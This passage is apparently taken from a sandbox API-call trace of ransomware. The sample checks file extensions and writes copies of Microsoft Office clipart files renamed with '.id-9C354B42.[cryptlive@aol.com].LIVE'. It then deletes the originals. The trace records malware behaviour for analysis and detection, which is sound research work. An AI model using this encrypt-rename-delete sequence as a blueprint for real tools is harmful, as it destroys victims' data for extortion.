(lpString=".7z") returned 3 [0140.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.585] lstrlenW (lpString=".dbf") returned 4 [0140.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.585] lstrlenW (lpString=".1cd") returned 4 [0140.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.585] lstrlenW (lpString=".jpg") returned 4 [0140.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.585] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.585] lstrlenW (lpString="CUPINST.WMF") returned 11 [0140.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.586] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10326) returned 1 [0140.586] CloseHandle (hObject=0x2f8) returned 1 [0140.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0140.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.587] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.587] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0140.587] GetLastError () returned 0x0 [0140.587] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2856, lpOverlapped=0x0) returned 1 [0140.589] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2860, lpOverlapped=0x0) returned 1 [0140.590] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.590] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0140.590] SetEndOfFile (hFile=0x1e4) returned 1 [0140.591] CloseHandle (hObject=0x1e4) returned 1 [0140.591] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.591] SetEndOfFile (hFile=0x2f8) returned 1 [0140.593] CloseHandle (hObject=0x2f8) returned 1 [0140.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0140.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.594] lstrlenW (lpString=".doc") returned 4 [0140.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.594] lstrlenW (lpString=".docx") returned 5 [0140.594] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0140.594] lstrlenW (lpString=".pdf") returned 4 [0140.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.594] lstrlenW (lpString=".xls") returned 4 [0140.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.594] lstrlenW (lpString=".xlsx") returned 5 [0140.594] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0140.594] lstrlenW (lpString=".ppt") returned 4 [0140.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.594] lstrlenW (lpString=".zip") returned 4 [0140.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.594] lstrlenW (lpString=".rar") returned 4 [0140.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.594] lstrlenW (lpString=".bz2") returned 4 [0140.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.594] lstrlenW (lpString=".7z") returned 3 [0140.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.595] lstrlenW (lpString=".dbf") returned 4 [0140.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.595] lstrlenW (lpString=".1cd") returned 4 [0140.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.595] lstrlenW (lpString=".jpg") returned 4 [0140.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.595] lstrlenW (lpString=".doc") returned 4 [0140.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.595] lstrlenW (lpString=".docx") returned 5 [0140.595] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0140.595] lstrlenW (lpString=".pdf") returned 4 [0140.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.595] lstrlenW (lpString=".xls") returned 4 [0140.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.595] lstrlenW (lpString=".xlsx") returned 5 [0140.595] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0140.595] lstrlenW (lpString=".ppt") returned 4 [0140.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.595] lstrlenW (lpString=".zip") returned 4 [0140.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.595] lstrlenW (lpString=".rar") returned 4 [0140.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.595] lstrlenW (lpString=".bz2") returned 4 [0140.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.595] lstrlenW (lpString=".7z") returned 3 [0140.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.595] lstrlenW (lpString=".dbf") returned 4 [0140.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.596] lstrlenW (lpString=".1cd") returned 4 [0140.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0140.596] lstrlenW (lpString=".jpg") returned 4 [0140.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.596] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.596] lstrlenW (lpString="DD00117_.WMF") returned 12 [0140.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.598] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=31122) returned 1 [0140.598] CloseHandle (hObject=0x2f8) returned 1 [0140.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0140.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.598] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.599] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0140.599] GetLastError () returned 0x0 [0140.599] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x7992, lpOverlapped=0x0) returned 1 [0140.601] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0140.602] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.602] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.603] SetEndOfFile (hFile=0x1e4) returned 1 [0140.603] CloseHandle (hObject=0x1e4) returned 1 [0140.603] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.603] SetEndOfFile (hFile=0x2f8) returned 1 [0140.606] CloseHandle (hObject=0x2f8) returned 1 [0140.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0140.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.607] lstrlenW (lpString=".doc") returned 4 [0140.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.607] lstrlenW (lpString=".docx") returned 5 [0140.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.607] lstrlenW (lpString=".pdf") returned 4 [0140.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.607] lstrlenW (lpString=".xls") returned 4 [0140.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.607] lstrlenW (lpString=".xlsx") returned 5 [0140.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.607] lstrlenW (lpString=".ppt") returned 4 [0140.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.607] lstrlenW (lpString=".zip") returned 4 [0140.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.608] lstrlenW (lpString=".rar") returned 4 [0140.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString=".bz2") returned 4 [0140.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString=".7z") returned 3 [0140.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".dbf") returned 4 [0140.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".1cd") returned 4 [0140.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".jpg") returned 4 [0140.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".doc") returned 4 [0140.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString=".docx") returned 5 [0140.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.608] lstrlenW (lpString=".pdf") returned 4 [0140.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString=".xls") returned 4 [0140.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.608] lstrlenW (lpString=".xlsx") returned 5 [0140.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.608] lstrlenW (lpString=".ppt") returned 4 [0140.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".zip") returned 4 [0140.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.608] lstrlenW (lpString=".rar") returned 4 [0140.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString=".bz2") returned 4 [0140.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString=".7z") returned 3 [0140.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.609] lstrlenW (lpString=".dbf") returned 4 [0140.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.609] lstrlenW (lpString=".1cd") returned 4 [0140.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0140.609] lstrlenW (lpString=".jpg") returned 4 [0140.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.609] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.609] lstrlenW (lpString="DD00121_.WMF") returned 12 [0140.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0140.993] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8256) returned 1 [0140.994] CloseHandle (hObject=0x388) returned 1 [0140.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0140.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0140.994] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.994] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0140.995] GetLastError () returned 0x0 [0140.995] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2040, lpOverlapped=0x0) returned 1 [0140.997] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2050, lpOverlapped=0x0) returned 1 [0140.998] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.998] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.998] SetEndOfFile (hFile=0x1ec) returned 1 [0140.998] CloseHandle (hObject=0x1ec) returned 1 [0140.998] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.998] SetEndOfFile (hFile=0x388) returned 1 [0141.001] CloseHandle (hObject=0x388) returned 1 [0141.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0141.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.002] lstrlenW (lpString=".doc") returned 4 [0141.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.002] lstrlenW (lpString=".docx") returned 5 [0141.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.002] lstrlenW (lpString=".pdf") returned 4 [0141.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.002] lstrlenW (lpString=".xls") returned 4 [0141.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.002] lstrlenW (lpString=".xlsx") returned 5 [0141.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.002] lstrlenW (lpString=".ppt") returned 4 [0141.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.002] lstrlenW (lpString=".zip") returned 4 [0141.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.002] lstrlenW (lpString=".rar") returned 4 [0141.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.002] lstrlenW (lpString=".bz2") returned 4 [0141.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.002] lstrlenW (lpString=".7z") returned 3 [0141.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.003] lstrlenW (lpString=".dbf") returned 4 [0141.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.003] lstrlenW (lpString=".1cd") returned 4 [0141.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.003] lstrlenW (lpString=".jpg") returned 4 [0141.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.003] lstrlenW (lpString=".doc") returned 4 [0141.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.003] lstrlenW (lpString=".docx") returned 5 [0141.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.003] lstrlenW (lpString=".pdf") returned 4 [0141.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.004] lstrlenW (lpString=".xls") returned 4 [0141.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.004] lstrlenW (lpString=".xlsx") returned 5 [0141.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.004] lstrlenW (lpString=".ppt") returned 4 [0141.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.004] lstrlenW (lpString=".zip") returned 4 [0141.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.004] lstrlenW (lpString=".rar") returned 4 [0141.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.004] lstrlenW (lpString=".bz2") returned 4 [0141.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.004] lstrlenW (lpString=".7z") returned 3 [0141.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.004] lstrlenW (lpString=".dbf") returned 4 [0141.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.004] lstrlenW (lpString=".1cd") returned 4 [0141.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0141.004] lstrlenW (lpString=".jpg") returned 4 